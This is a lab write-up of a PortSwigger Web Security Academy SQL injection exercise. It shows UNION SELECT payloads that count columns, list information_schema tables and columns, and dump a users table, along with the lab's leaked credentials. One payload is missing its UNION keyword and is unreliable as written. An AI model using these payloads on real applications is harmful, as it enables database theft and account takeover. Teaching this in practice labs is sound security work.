← Back to Writeups
PORTSWIGGERN/ASQL_injection

SQL injection attack,listing-the database contents on non-Oracle databases

XESXOR9/2/20262 min read
#sql_injection#portswigger#web-security-academy

SQL injection attack,listing-the database contents on non-Oracle databases

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection attack,listing-the database contents on non-Oracle databases (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Solution :

Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database.

You can query information_schema.tables to list the tables in the database:

sql
SELECT * FROM information_schema.tables

O/P shows the columns present in it

sql
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Steps

image

Determine the number of columns -

ORDER BY 3

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 3--

image

Determine wich column contains text data

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' SELECT 'abc','def'--

Both the columns contain text data.

image

List the database contents

List tables -

From the information schema tables, there are some default columns.

image

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT table_name,NULL FROM information_schema.tables--

We get list of all the available tables

image

image

List columns -

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_fhlhke'--

We get these columns

image

columns - username_yoqrkg & password_btqiad

Retreive information from the columns username_yoqrkg & password_btqiad from the table users_fhlhke -

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT username_yoqrkg,password_btqiad FROM users_fhlhke--

Now we get the username and password of all users.

image

administrator - a80zs35scefit206tw5s carlos - hfs0tq3xzvdz2awja6bn wiener - 7qsyjg4sbbxt16easf7l

Now login as administrator,

image

Key Takeaways / Lessons

  • Understanding SQL_injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection attack,listing-the database contents on non-Oracle databases